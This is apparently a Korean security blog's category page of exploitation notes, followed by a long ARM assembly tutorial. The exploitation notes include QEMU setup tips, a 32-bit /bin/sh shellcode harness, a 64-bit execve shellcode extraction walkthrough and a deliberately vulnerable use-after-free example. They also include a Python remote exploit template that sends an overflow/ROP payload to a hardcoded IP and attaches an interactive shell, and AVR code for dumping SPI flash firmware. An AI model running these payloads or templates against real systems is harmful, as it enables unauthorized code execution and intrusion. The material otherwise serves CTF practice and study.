'System_Hacking'에 해당되는 글 60건

  1. 2016.08.02 qemu-mips (big endian) binary 관련 팁 (error) 1
  2. 2016.07.10 QEMU 명령어 옵션
  3. 2016.05.31 angr 기본 코드
  4. 2016.05.31 CTF 바이너리 sockat 으로 xinetd 데몬처럼 띄우기
  5. 2016.05.17 32bit linux shellcode (/bin/sh)
  6. 2016.05.06 [검색용][python] Remote exploit 할때 기본 포멧
  7. 2016.02.21 SPI 통신으로 firmware dump 뜨기
  8. 2016.02.21 QEMU 돌릴때 포트포워딩 옵션
  9. 2015.12.21 Shellcode 뽑아내는 깨알 팁.
  10. 2015.09.11 call, leave, ret assembly
  11. 2015.09.10 Android stageFright RCE exploit
  12. 2015.09.02 ARM32 netcat static compile
  13. 2015.08.19 UAF (use after free) 예제코드
  14. 2015.05.17 ARM 32bit assambly 설명 잘된 링크
  15. 2015.04.24 64bit 포멧스트링 널바이트 만들어주기
  16. 2015.04.01 gef peda 의 다양한 아키텍쳐 버젼
  17. 2015.03.02 랜덤 라이브러리 무효화 시키기
  18. 2015.03.02 저장용 heap overflow 에 대한 설명
  19. 2015.02.26 x86 어셈블리 정리된것
  20. 2015.01.19 Android gdbserver 를 이용하여 원격 디버깅 하기
  21. 2014.12.02 [ Android 에 lime 로 메모리 덤프 할때 참조한 URL ]
  22. 2014.11.25 strip 된 심볼정보 찾는법
  23. 2014.10.15 Android Hooking Tool
  24. 2014.05.23 리버스 쉘 치트 시트 (Reverse Shell Cheat Sheet)
  25. 2014.05.14 ldd 명령어 분석 ( for dynamic symbol 저장 위치 찾기)
  26. 2014.04.23 [ dumpcode ] C dumpcode
  27. 2014.04.21 [ ROP gadget finder ] ROP 가젯 찾아주는 소스코드 (ARM MIPS x64 등등 지원)
  28. 2013.12.12 Shellcode Database
  29. 2013.12.12 [ 펌 ] win gdb 명령어
  30. 2013.10.09 [gdb] gdb find 의 활용 (원하는 메모리 값 찾기)
2016. 8. 2. 22:02

mips big endian 바이너리를 qemu-system-mips 에뮬레이터에서 돌리려고 하면

헤더가 깨졌다는 에러와 함께 정상적으로 동작이 안하는 문제가 발생할 때가 있다.


이땐 qemu-mips를 활용하여 돌려야하는데, 이게 구버젼(Ubuntu 14.04 에서 apt-get 으로 받은 qemu-mips)에서는

정상적으로 동작을 하지 않는다. (무슨에러를 뱉었는데 기억이..) 


이는 ELF 헤더 구조체에 대한 선언이 qemu-mips에서 잘 안되어 있기 때문에 생기는 문제인데,

최신판에서는 패치가 되었다는 문구를 발견하였다. 


qemu-mips 를 git으로 땡겨받아서 직접 configure 와 make make install 을 하여 돌리면 


정상적으로 돌릴수 있다. 


Posted by k1rha
2016. 7. 10. 22:21


경로 : 
https://people.debian.org/~aurel32/qemu/mips/

[ 80 포트와 22 번호트 리다이렉션 ]

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta_kernel.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -redir tcp:2222::22 -redir tcp:8080::80 --nographic


 


Posted by k1rha
2016. 5. 31. 16:05

╰─$ cat anger.py 

import angr

p = angr.Project('/mnt/shared/serial', load_options={'auto_load_libs':False})

ex = p.surveyors.Explorer(find=(0x400e5c, ), avoid=(0x400e78,))

ex.run()

print ex.found[0].state.posix.dumps(0)

print ex.found[0].state.posix.dumps(1) 

 


Posted by k1rha
2016. 5. 31. 08:55

socat TCP-LISTEN:포트,reuseaddr,fork EXEC:./바이너리

'System_Hacking' 카테고리의 다른 글

QEMU 명령어 옵션  (0) 2016.07.10
angr 기본 코드  (0) 2016.05.31
32bit linux shellcode (/bin/sh)  (0) 2016.05.17
[검색용][python] Remote exploit 할때 기본 포멧  (0) 2016.05.06
SPI 통신으로 firmware dump 뜨기  (0) 2016.02.21
Posted by k1rha
2016. 5. 17. 10:23

#gcc -o shellcode shellcode.c -m32 -z execstack


#include<string.h>

char shellcode[]="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

int main(){


int (*func)();

printf ("size : %d \n",strlen(shellcode));

func = shellcode;

func();


return 0;

}

 


Posted by k1rha
2016. 5. 6. 12:33

쓸때마다 손으로 치기 귀찮으니 생각난김에 저장. 


출처 : https://rotlogix.com/2016/05/03/arm-exploit-exercises/

import socket  
import sys  
import struct  
import telnetlib


def exploit():  
    try:
        # Connect to target
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.174.90.177', 6666))
        print("[*] Connecting to target (!)")
        # Build payload
        payload = 'A' * 72
        payload += struct.pack("<I", 0x76EE012C)
        payload += struct.pack("<I", 0x7efff7f3)
        payload += 'BBBB'
        payload += struct.pack("<I", 0x76EC2BC8)
        payload += 'CCCC'
        payload += 'DDDD'
        payload += 'EEEE'
        payload += 'FFFF'
        payload += struct.pack("<I", 0x76e9ffac)
        print("[*] Sending Payload (!)")
        # Send payload
        s.sendall(payload)
        # Interact with the shell
        t = telnetlib.Telnet()
        t.sock = s
        t.interact()
    except socket.errno:
        raise

if __name__ == '__main__':  
    try:
        exploit()
    except KeyboardInterrupt:
        sys.exit(0)

 


Posted by k1rha
2016. 2. 21. 22:09

/*

 *  MX25L6406Es

 *  2016 01 11

 *  È²Œº¿¬,ÀÌ»óŒ·

 */ 


#define F_CPU 16000000UL

#include <avr/io.h>

#include <string.h>

#include <util/delay.h>

#include <stdio.h>


#define SPI_DDR     DDRB

#define SPI_PORT    PORTB

#define SS          PB0

#define SCK         PB1

#define MOSI        PB2

#define MISO        PB3


void put_c(char data){

  

   while(!(UCSR0A & 0x20));

   UDR0 = data;

  

  

}

void Puts(char *data)

{

        int i;

        for(i=0; i<strlen(data); i++)

        {

                while(!(UCSR0A & 0x20));

                UDR0 = data[i];

        }

}


void SPI_init_master()

{

     SPI_PORT |= (1 << SS);

     SPI_DDR |= ((1 << SS) | (1 << SCK) | (1 << MOSI) | (1 << MISO));

     SPCR = 0x51; // 0x40 = 16MHz

}


void init_uart()

{

 // initializing UART

 UCSR0A = 0x00;  

 UCSR0B = 0x98;  

 UCSR0C = 0x06;  

 UBRR0H = 0;

 UBRR0L = 8;    // 115200


}

char SPI_IO(char data, int ins)

{

 

 SPDR = data; /* µ¥ÀÌÅÍžŠ ºž³»°í */


 while(!(SPSR & 0x80)); /* ŽÙ ºž³»Áú ¶§ ±îÁö ±âŽÙž®°í */

 data = SPDR; /* ¹ÞÀº µ¥ÀÌÅÍžŠ ÀúÀåÇÑŽÙ */


 if ( ins == 0 ){

  char str[80]={0,};  

  sprintf(str, "%02x", data);

  Puts(str);

 }

 return data;

}


int main(void)

{

 char str[80];

 unsigned long i, y;

 int cnt, one_byte, one_bit;


 // 1:CS  2:SI  3:SO  4:SCLK  5:WP  6:RESET  7:VCC(°øÀ¯±âÀÚÃŒ)  8:GND(ºžµåÀÚÃŒ)

 // A port žŠ Ãâ·Â¿ëÀž·Î ¿ëÀž·Î »ç¿ëÇÏ°ÚŽÙ¶ó°í ÁöÁ€

 DDRA = 0xFF;  // CS

 

 SPI_init_master(); 

 

 // INIT : CS goes high & clock low

 // œÇÁŠ·Î ÀüŸÐÀž·Î Á֎°͠

 PORTA = 0xFF;


 // INIT : UART INIT

 init_uart();

 

 Puts("delay start \r\n");

 _delay_ms(5000);

 Puts("delay end \r\n");

 // START !!

 

  

 // /CSÇÉ LOW change `

 PORTA = 0x00;

 

 Puts("Read ID  start!\r\n");

 /////////////////////////////////////////////////////////////////////////

  

 //TODO Read ID  // KT : 90H  == read ID   // return 8C  14   or   14  8C

 SPI_IO(0x90,1);


 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,0);

 SPI_IO(0x00,0);

 

 

 Puts("\r\nRead ID   finish\n");

 PORTA = 0xFF;

 

 Puts("########  end  ########");

 

 

 /////////////////////////////////////////////////////////////////////////

 Puts("\r\n Getting dump code start! \r\n");

 _delay_ms(5000);

 ////////////////////////////////////////////////////////////////////////

 // Read (33Mhz) 



 PORTA = 0x00;


 SPI_IO(0x03,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

  

 for ( i = 0; i < 640000000; i++){

  SPI_IO(0x00,0);

 }

 

 // /CSÇÉ HIGH change `

 PORTA = 0xFF;

 

 Puts("########  end  ########");

 while(1)

 {

  

  _delay_ms(10000);

 }

}


Posted by k1rha
2016. 2. 21. 22:09

자꾸 놓치게 되어서 메모함.


네트워크 qemu 다운받는곳

 

https://people.debian.org/~aurel32/qemu/


관련파일 설치 하고 -> 관련 파일다운받아 아래와같이 리다이렉팅 




 #qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta_kernel.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -redir tcp:2222::22 -redir tcp:8080::80 --nographic


이후 scp 로 파일전송하면 파일 이동도가능 



Posted by k1rha
2015. 12. 21. 15:12

멍청하게 손으로 쉘코드를 일일이 치지말자 


Some assembly required

We begin our journey by writing assembly to launch a shell via the execve system call.

For backwards compatibility, 32-bit Linux system calls are supported in 64-bit Linux, so we might think we can reuse shellcode targeted for 32-bit systems. However, the execve syscall takes a memory address holding the NUL-terminated name of the program that should be executed. Our shellcode might be injected someplace that requires us to refer to memory addresses larger than 32 bits. Thus we must use 64-bit system calls.

The following may aid those accustomed to 32-bit assembly.

32-bit syscall64-bit syscall

instruction

int $0x80

syscall

syscall number

EAX, e.g. execve = 0xb

RAX, e.g. execve = 0x3b

up to 6 inputs

EBX, ECX, EDX, ESI, EDI, EBP

RDI, RSI, RDX, R10, R8, R9

over 6 inputs

in RAM; EBX points to them

forbidden

example

mov $0xb, %eax
lea string_addr, %ebx
mov $0, %ecx
mov $0, %edx
int $0x80
mov $0x3b, %rax
lea string_addr, %rdi
mov $0, %rsi
mov $0, %rdx
syscall

We inline our assembly code in a C file, which we call shell.c:

int main() {
  asm("\
needle0: jmp there\n\
here:    pop %rdi\n\
         xor %rax, %rax\n\
         movb $0x3b, %al\n\
         xor %rsi, %rsi\n\
         xor %rdx, %rdx\n\
         syscall\n\
there:   call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}

No matter where in memory our code winds up, the call-pop trick will load the RDI register with the address of the "/bin/sh" string.

The needle0 and needle1 labels are to aid searches later on; so is the0xdeadbeef constant (though since x86 is little-endian, it will show up as EF BE AD DE followed by 4 zero bytes).

For simplicity, we’re using the API incorrectly; the second and third arguments to execve are supposed to point to NULL-terminated arrays of pointers to strings (argv[] and envp[]). However, our system is forgiving: running "/bin/sh" with NULL argv and envp succeeds:

ubuntu:~$ gcc shell.c
ubuntu:~$ ./a.out
$

In any case, adding argv and envp arrays is straightforward.

The shell game

We extract the payload we wish to inject. Let’s examine the machine code:

$ objdump -d a.out | sed -n '/needle0/,/needle1/p'
00000000004004bf <needle0>:
  4004bf:       eb 0e                   jmp    4004cf <there>

00000000004004c1 <here>:
  4004c1:       5f                      pop    %rdi
  4004c2:       48 31 c0                xor    %rax,%rax
  4004c5:       b0 3b                   mov    $0x3b,%al
  4004c7:       48 31 f6                xor    %rsi,%rsi
  4004ca:       48 31 d2                xor    %rdx,%rdx
  4004cd:       0f 05                   syscall

00000000004004cf <there>:
  4004cf:       e8 ed ff ff ff          callq  4004c1 <here>
  4004d4:       2f                      (bad)
  4004d5:       62                      (bad)
  4004d6:       69 6e 2f 73 68 00 ef    imul   $0xef006873,0x2f(%rsi),%ebp

00000000004004dc <needle1>:

On 64-bit systems, the code segment is usually placed at 0x400000, so in the binary, our code lies starts at offset 0x4bf and finishes right before offset 0x4dc. This is 29 bytes:

$ echo $((0x4dc-0x4bf))
29

We round this up to the next multiple of 8 to get 32, then run:

$ xxd -s0x4bf -l32 -p a.out shellcode

Let’s take a look:

$ cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead


'System_Hacking' 카테고리의 다른 글

SPI 통신으로 firmware dump 뜨기  (0) 2016.02.21
QEMU 돌릴때 포트포워딩 옵션  (0) 2016.02.21
call, leave, ret assembly  (0) 2015.09.11
Android stageFright RCE exploit  (0) 2015.09.10
ARM32 netcat static compile  (0) 2015.09.02
Posted by k1rha
2015. 9. 11. 19:21

call =  push eip + 1frame address 

        jmp [address]  


leave =  mov esp,ebp

          pop ebp    

ret =  mov eip, [esp]  

       pop esp

'System_Hacking' 카테고리의 다른 글

QEMU 돌릴때 포트포워딩 옵션  (0) 2016.02.21
Shellcode 뽑아내는 깨알 팁.  (0) 2015.12.21
Android stageFright RCE exploit  (0) 2015.09.10
ARM32 netcat static compile  (0) 2015.09.02
UAF (use after free) 예제코드  (0) 2015.08.19
Posted by k1rha
2015. 9. 10. 19:13



http://0day.today/exploit/24222


 쓸만한것들이 좀있음. 일단 저장용 


'System_Hacking' 카테고리의 다른 글

Shellcode 뽑아내는 깨알 팁.  (0) 2015.12.21
call, leave, ret assembly  (0) 2015.09.11
ARM32 netcat static compile  (0) 2015.09.02
UAF (use after free) 예제코드  (0) 2015.08.19
ARM 32bit assambly 설명 잘된 링크  (0) 2015.05.17
Posted by k1rha
2015. 9. 2. 16:43

ARM32 netcat static compile 


nc_arm32_static


Posted by k1rha
2015. 8. 19. 10:13

세미나용으로 만든 UAF 예제코드 



#include <iostream>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>


using namespace std;

class B

{

public:

char *v1 = NULL;

virtual void foo(int a)

{

cout << "B Foo Call" << a << endl;

}

};


class D : public B

{

public:

char *buff;

void foo(int a)

{

cout << "D Foo Call " << a << endl;

}

};


class E

{

public:

char buff[24]="";

void test(int a){

cout << "E->TEST "<<endl;

}

void copy(char *v2){

memcpy(buff,v2,20);

}


};

int foo3(){

cout << "This is UNUSING FOO " <<endl;

return 0;

}

int (*funcAddr)() = foo3;

int main(int argc, char *argv[]){


char * test;

B *d,*b;

E *e;


printf("-------------------------------\n");

printf("[PRINT] UNUSING FOO function addr %x \n",&funcAddr);

printf("-------------------------------\n");

d = new D;

delete d;


e = new E;

e->copy(argv[1]);


printf("d->foo(9) call \n");

d->foo(9);





return 0;

}



Posted by k1rha
2015. 5. 17. 10:43

: 출처 : http://www.jkelec.co.kr/img/lecture/arm_arch/arm_arch_4.html



    
 
 

 

ARM Architecture


 
* Update history

- 2012.9.11 : 초기 Release



 
7. ARM Instruction Sets
   7.1 Understanding ARM Instruction set
   7.2 ARM Instruction sets
   7.3 Data Processing Instructions
   7.4 Multiply Instructions
   7.5 Load/Store Instructions
   7.6 Load/Store Multiple Instructions    
   7.7 Branch Instructions
   7.8 Status Register Access Instructions
   7.9 Software Interrupt Instruction
   7.10 SWP Instruction
   7.11 Conditional Execution
8. Thumb Instruction Sets
   8.1 Thumb Instruction 특징
   8.2 Thumb Instruction 제약 사항
   8.3 Thumb, ARM Instruction 비교
   8.4 ARM/Thumb Interworking
9. AAPCS
   9.1 Procedure Call Standard for the ARM Architecture
   9.2 Function Parameter Passing 


 
7. ARM Instruction Sets
7.1 Understanding ARM Instruction set

ARM Instruction Set은 ARM 명령어들 즉 어셈블리어를 이야기 하는 것입니다. 대부분은 C 코드를 이용해서 작업을 합니다만, 어셈블리어도 어느정도는 숙지하고 있어야 하는 몇가지 이유가 있습니다. 
(1) ARM 어셈블리어를 잘 파악하고 있으면 ARM의 구조를 더 잘 이해할 수 있습니다.
(2) 전통적인 ARM의 Startup 코드는 스택이 초기와 되기 전에는 C로 작성을 할 수가 없습니다. 최근 Cortex 계열은 Reset 벡터의 초기 번지가 Stackaddress여서 C코드 만으로도 부트로더 작성이 가능 합니다.
(3) C컴파일러의 최적화가 아주 잘 되어 있지만, 사람이 주의해서 작성하는 어셈블리 코드보다는 최적화 할 수 없습니다.
(4) Debugging in detail (instruction level debugging)

일반적인 ARM 어셈블리어 형식 입니다.



- Directive : 어셈블리 코드의 특성을 지정하는 지시어 입니다.
- Label : 반드시 Space없이 첫 번째 컬럼에 위치해야 하고, Label 자체가 Address가 됩니다.
- Comment : 주석은 ";" 문자 이후로 작성을 하면 됩니다.
- Instructions(ADD, MOV, LDR ...) : 명령어들은 반드시 앞 부분에 적어도 하나 이상의 Space가 있어야 합니다.

7.2 ARM Instruction sets

ARM Processor는 2가지 명령어 세트를 지원하는데 32bit ARM 명령어와 16bit Thumb 명령어가 있습니다. Thumb 명령어는 모든 ARM 프로세서에서 지원하는 것은 아니고 Thumb 특성을 지원하는 Core에서만 사용이 가능 합니다. 최근 Cortex 계열에서는 16bit, 32bit 명령어를 같이 사용할 수 있는 Thumb-2 Instruction도 지원 합니다. 심지어 Cortex-M3의 경우에는 Thumb-2 Instruction만 사용이 가능 합니다. 8bit 길이의 Jave Byte Code도 사용 할 수 있는데 이것도 Thumb 명령어와 같이 모든 ARM Processor가 지원하는 것은 아닙니다.

Instruction TypeInstructions
Data ProcessingADD, ADC, SUB, SBC, RSB, AND, ORR, BIC, MOV, CMP, TEQ, …
MultiplyMUL, MULS, MLA, SMULL, UMLAL, …
Load/StoreLDR, LDRB, LDRH, LDRSH, LDM, STR, STRB, STRH, STRSH, STM, …
BranchB, BL, BX, BLX, …
Status AccessMRS, MSR
SwapSWP, SWPB
CoprocessorMRC, MCR, LDC, STC

7.3 Data Processing Instructions 

(1) Instructions 



< Cond >
해당 명령의 조건 실행 플래그입니다. 해당 플래그를 통해 명령을 CPSR의 플래그 상태에 따라 선택적으로 실행을 할 수 있습니다. ARM에서 지원하는 굉장히 강력한 기능으로 조건부 실행을 잘 이용하면 분기문을 최대한 줄여 시스템 성능을 향상 시킬 수 있습니다.

< I >
Operland 2로 지정되어 있는 부분이 Immediate Operand 인지 아닌지 여부를 나타내는 비트 입니다. 즉 25번필드[I] 가 "0" 이면 [11 : 0] 가 shifter operand로 동작을 하고 "1" 이면 Immediate Operand로 동작 합니다. Immediate Operand라 함은, 예를 들어 MOV R0, #0x01234 라고 했을 경우 #0x1234를 가리키는 말입니다.

< Opcode >
데이터 프로세싱 명령 중 어떤 명령인지를 나타내는 필드 입니다. 해당 필드와 명령어는 다음과 같습니다.

OpcodeMnemonicMeaningAction
0000ANDLogical ANDRd = Rn AND shifter_operand
0001EORLogical Exclusive ORRd = Rn EOR shifter_operand
0010SUBSubtractRd = Rn - shifter_operand
0011RSBReverse subtractRd = shifter_operand - Rn
0100ADDAddRd = Rn + shifter_operand
0101ADCAdd with carryRd = Rn + shifter_operand + Carry
0110SBCSubract with carryRd = Rn – shifter_operand – NOT(Carry)
0111RSCReverse Subract with carryRd = shifter_operand - Rn – NOT(Carry)
1000TSTTestUpdate flags after Rn AND shifer_opernad
1001TEQTest EquivalenceUpdate flags after Rn EOR shifer_opernad
1010CMPCompareUpdate flags after Rn - shifer_opernad
1011CMNCommomUpdate flags after Rn + shifer_opernad
1100ORRLogical ORRd = Rn OR shifter_operand
1101MOVMoveRd = shifter_operand
1110BICBit clearRd = Rn AND NOT(shifter_operand)
1111MVNMove NotRd = NOT(shifter_operand)

< S >
S 비트가 1인 경우는 데이터 프로세싱 명령의 결과가 CPSR에 영향(Rd의 레지스터가 PC인 경우 SPSR의 값으로 CPSR을 복원)을 미칩니다. 
즉, 0인 경우에는 CPSR은 변하지 않습니다.

< Rn >
ARM 데이터 프로세싱 명령은 그 결과와 첫 번째 오퍼랜드는 항상 레지스터로 지정해야 합니다. Rn은 첫 번째 오퍼랜드를 가리키는 것으로 위에서 Op1으로 표기한 것에 해당합니다. ARM에서 한번에 볼 수 있는 범용 레지스터는 sp, lr, pc 등을 포함해서 r0~r15 까지입니다. 즉, 4Bit를 통해 레지스터를 나타내게 됩니다. 해당 필드는 명령에 따라 사용되지 않기도 합니다. MOV나 MVN등이 이에 해당합니다.

< Rd >
오퍼레이션의 결과가 저장될 레지스터를 의미합니다. 역시 레지스터를 가리키므로 4Bit를 사용하고 모든 명령에서 디폴트로 사용되는 필드. ARM의 데이터 프로세싱 명령의 결과는 항상 레지스터로 들어갑니다.

< Operand 2 >
Immediate Operand 혹은 레지스터 Operand 입니다. <I> 필드가 0일 경우 레지스터 입니다. 

(2) Syntax : <operation>{cond}{s} Rd, Rn, operand2

- Operand2 is a register
ADD R0, R1, R2

- Operand2 is immediate value
BIC R1, R2, #0xFF

- Operand2 shifted value
ADD R0, R1, R2, LSL #2
SUB R0, R1, R2, LSR R3

- Data movement
MOV R0, R1
MOV R0, #0x1

- Comparisons set flags only
CMP R0, R1
CMP R2, #0x01

(3) Immediate value




Immediate value(상수 값)= ROR immed_8 by 2*rot

MOV R0, #0xFF000000
MOV R0, #0x12
MOV R0, #0x104 ; 100000100 --> permitted
MOV R0, #0x102 ; 100000010 --> not permitted
MOV R0, #0x12345678 ; 10010001101000101011001111000--> not permitted 

위의 예제에서 상수 값으로 "#0x104" 는 사용할 수 있는데 "#0x102", "#0x12345678" 값으로 올수 없는 이유는 무엇 일까요? 
"ROR immed_8 by 2*rot" 의 수식을 잘 살펴 보시기 바랍니다. 어렵다구요 ? ^^ 네. 쉬운 계산이 아닐 수 있습니다.
우선 "#0x12345678" 값은 쉽게 판단이 될것 같은데요. Rotate없이 표현 가능한 값의 범위가 8bit 를 넘었습니다.
"#0x102" 는 왜 안될가요 ? 쉽게 생각하면 8-bit immediate 값을 #rot 값을 2배 한만큼 오른쪽으로 로테이션을(ROR) 해서 Immediate value을 만들 수 있는 값을 반드시 상수로 사용해야 한다는 말입니다. 역시 말로는 잘 설명이 되지 않네요. 아래 그림들을 참조 하시기 바랍니다.





아래 Immediate value의 또 다른 예제 입니다.
MOV r0, #0xfc000003 ; 11111100000000000000000000000011
r0에 상수 값 0xfc000003을 넣는 명령입니다. 해당 값은 8Bit 값 0xFF를 32Bit로 확장하고 오른쪽으로 6번 Rotate 시킨 값입니다. 그래서 에러가 나지 않습니다. 

(4) 32-bit Instruction format

MOV R0, #1

굉장히 단순한 예제 인데요. 위에서 배운 32-bit Instructions 포맷을 분석해 보도록 하겠습니다. 코드를 Disassebly 해보면 
"0xE3A00001(1110 001 1101 0 0000 0000 0000 00000001)" 입니다.



Instruction 포맷을 다시한번 살펴 보면 아래와 같습니다.



[31:28] : 1110 - 7.11 Conditional Execution 에서 배울 예정 입니다. 우선은 그냥 "1110" 은 Always execution flag 라고 알아 두시기 바랍니다.
[27:25] : 001 - Operland 2로 지정되어 있는 부분이 Immediate Operand이므로 25번 비트가 "1" 입니다.
[24:21] : 1101 - Opcode "MOV" 는 "1101" 입니다.
[20] : 0 - 명령어 Opcode에 "S" 가 붙지 않았으므로 CPSR에 영향을 미치는 명령어는 아닙니다.
[19:16] : 0000 - Rn 부분으로 레지스터 번호를 표현 합니다. 만약 "MOV R2, #1" 였다면 Rn 이 "0000" 이 아니라 "0010" 일 것입니다.
[15:12] : 0000 - Rd 부분이 없으므로 "0000" 입니다.
[11:0] : 8bit Immediate value 로서 "#1" 에 해당하는 "00000001" 입니다.

* 참고
MOV R2, #1 명령에 대한 32-bit Instruction 포맷 = 0xE3A02001(1110 001 1101 0 0000 0010 0000 00000001)

(5) Examples

R0 = 0x00
R1 = 0x22
R2 = 0x02
R3 = 0x00 
R4 = 0x00



레지스터의 값들이 위와 같을때 아래 예제들을 차례대로 수행 했을때의 각각의 레지스터 값은 ?

AND R0, R0, #0xFF ; 0x00 & 0xff = R0의 값은 변환 없음

 

ADD R0, R0, #1 ; R0 = R0 + 1 = 0x1

 

ADD R0, R0, R1 ; R0 = R0 + R1 = 0x01 + 0x22 = 0x23

 

LSL R1, R0, #2 ; 0x23(100011) LSL #2 = 0x8C(10001100) -> 참고로 왼쪽으로 2번 쉬프트 하면 *4 를 한것과 같습니다.

 

SUB R3, R2, R1, LSR R2

R3의 값이 0xFFFFFFDF 로 복잡한 값이 나왔습니다. 왜 이런 결과가 나왔을까요 ? 
우선 R1을 오른쪽으로 2번 쉬프트 시키면 0x23이 되고 R2(0x02) 에서 R1(0x23) 을 빼면 결과값이 -0x21가 되고 이 값을 2의 보수로 표시하면
0xFFFFFFDF 가 됩니다.

  0x21 = 00000000000000000000000000100001
-0x21 = 11111111111111111111111111011111 --> 0x21의 2의 보수

참고로 2의 보수를 취하는 방법은 원래의 2진수에서 0->1, 1->0 으로 바꾼후에 1을 더하면 되겠지요.

 

BIC R0, R1, #0xFF00

R1(0x8C) =         0000000010001100
0xFF00(65280) = 1111111100000000
BIC =                0000000010001100   ; 0xFF00 로 Bit clear를 해도 R1의 값은 변화가 없네요.


  

RSB R0, R1, #0 ; #0 - R1(0x8C) = 0xFFFFFF74(0x8C 의 2의 보수 값)

RSB 명령어는 SUB와는 반대로 마이너스 연산을 수행 합니다. 

  


7.4 Multiply Instructions

(1) Multiply (Accumulate) Syntax
MUL{<cond>}{S} Rd, Rm, Rs ; Rd = Rm * Rs
MUA{<cond>}{S} Rd, Rm, Rs, Rn ; Rd = (Rm * Rs) + Rn

(2) Examples

R0 = 0x01
R1 = 0x02
R2 = 0x03
R3 = 0x04 



레지스터의 값들이 위와 같을때 아래 예제들을 차례대로 수행 했을때의 각각의 레지스터 값은 ? 

MUL R2, R0, R1 ; R2 = R0*R1 = 0x02

 

MULS R2, R0, R1 ; R2 = R0*R1 = 0x02

MUL 명령과 같은 명령입니다. 하지만 MUL뒤에 "S" 가 붙으면 명령어 처리가 끝난 이후에 CPSR의 Flag Field 가 연산 결과에 따라서 업데이트가 됩니다.
자세한 사항은 7.11 Conditional Execution 에서 자세히 다루도록 하겠습니다.

  

MLA R3, R2, R1, R0 ; R3 = R2*R1 + R0

참 효율적이네요. 명령어 하나로 곱하기 연산과 더하기 연산을 같이 할 수 있습니다.

 

SMULL R3, R2, R1, R0 ; R3,R2 = R1*R0

부호있는 64비트 곱셈 명령어 입니다. R1*R0 하여 상위 32비트는 R2에 하위 32비트는 R3에 저장 합니다. 

  

위에서 부호있는 연산이 나왔는데, 좀더 복잡한 예제를 풀어 보도록 하겠습니다.

R0 = 0xF0000002
R1 = 0x02
 
R2 = 0x00
R3 = 0x00 


초기 레지스터의 값이 위와 같을때 SMULL 연산 이후의 R2, R3 의 값은 어떻게 될까요 ?

우선 0xF0000002가 음수 이기 때문에 연산을 하기 위해서는 2의 보수값(F0000002의 2의 보수 = 0xFFFFFFE)을 먼저 취합니다. 그리고 나서 0xFFFFFFE * 0x02 = 0x1FFFFFFC 를 합니다. 연산이 끝나고 나서 음수를 표현하기 위해서 다시 0x1FFFFFFC 의 2의 보수를 취합니다. 이때 SMULL이 64비트 곱셈 명령어 이므로 64비트로 확장 합니다. 이렇게 하면 상위 32비트는 0xFFFFFFFF 이고 하위 32비트는 0x04가 됩니다.

  

위의 그림에서 "MOV R0, #-268435454" 라고 R0를 초기화 하고 있습니다. 이것은 0xf0000002의 값이 음수(최상위 비트가 1이면 음수이죠)이기 때문에 컴파일러에서 알기 쉽도록 음수 10진수로 표현을 해준것 입니다.

7.5 Load/Store Instructions

Memory의 내용을 레지스터로 이동(Load)하거나 레지스터의 내용을 메모리에 저장(Store) 하는 명령어 입니다. 데이터 Access단위에 따라서 아래와 같이 분류 됩니다. Load, Store는 ARM 명령어 가운데 가장 많이 사용되는 명령어 이며 굉장히 중요합니다. 반드시 숙지 하고 있어야 합니다.

- Word : LDR, STR 
- Byte : LDRB, STRB
- Halfword : LDRH, STRH
- Signed byte : LDRSB
- Signed halfword : LDRSH 

(1) Syntax
LDR{cond}{size} Rd, <address>
STR{cond}{size} Rd, <address> 

(2) Addressing Mode

- Pre Index : Rd 레지스터에 데이터를 먼저 이동시킨 후 <address> offset을 증가 혹은 감소 합니다.

R0 = 0x31000000
R1 = 0x00
R2 = 0x00 

 

레지스터의 값들과 메모리(메모리 배열은 리틀 엔디언) 값이 위와 같을때 아래 예제들을 차례대로 수행 했을때의 각각의 레지스터와 메모리의 값은 ?

LDR R1, [R0] ; R1 <-- M[R0]

R0가 가르키고 있는 0x31000000 번지의 메모리 값은 0x67452301 입니다. 그러므로 LDR 연산 이후에 R1에는 0x67452301 값이 저장 됩니다.

 

STR R1, [R0, #4] ; R1 <-- M[R0+4]

R0가 가르키는 0x31000000 번지에서 4-byte 를 더한 번지의 메모리 위치에 R1(0x67452301) 값을 저장 합니다.

 

STR R1, [R0, #4]! ; R1 <-- M[R0+4], then R0 <-- R0+4

 

R1에 0x31000004번지의 메모리 내용 0x67452301을 저장하고 난 이후에 R0의 레지스터값 + 0x04 를 수행 합니다.
예제에서 0x30000000, 0x30000004 번지의 내용이 동일해서 혼동 뒬수도 있지만 R1에는 R0레지스터값 + 0x04 = 0x30000004 번지의 값이 저장이 된다는 것을 기억 하시기 바랍니다.



- Post Index: Offset calculation after data transfer

R0 = 0x31000000
R1 = 0x00
R2 = 0x04 

 

레지스터의 값들과 메모리(메모리 배열은 리틀 엔디언) 값이 위와 같을때 아래 예제들을 차례대로 수행 했을때의 각각의 레지스터와 메모리의 값은 ?

LDR R1, [R0], R2 ; R1 <-- M[R0], then R0 <-- R0+R2

R1에 R0 가 가르키는 0x31000000번지의 메모리값 0x67452301의 값을 저장하고 나서 R0 = R0(0x31000000) + R2(0x04) 가 됩니다.
Preindex 방식에서는 R0를 먼저 계산하고 나서 메모리 번지의 값을 R1에 저장하였으나 Postindex 방식에서는 순서가 반대가 됩니다. 

 

STR R1, [R0], #4 ; R1 <-- M[R0], then R0 <-- R0+4

  

레지스터 R1의 값 0x67452301을 메모리 0x31000004 번지에 저장을 하고난 이후에 R0 = R0(0x310000004) + 0x04 를 수행 합니다. 

 

(3) Literal Pool
32bit의 모든 값을 가질 수 없고 12bit를 가지고 일정 형식에 맞추어서 사용해야 합니다. Immediate value 에서 자세히 설명 했던 내용입니다. 

MOV R0, #0x12345678 ; illegal (build error)
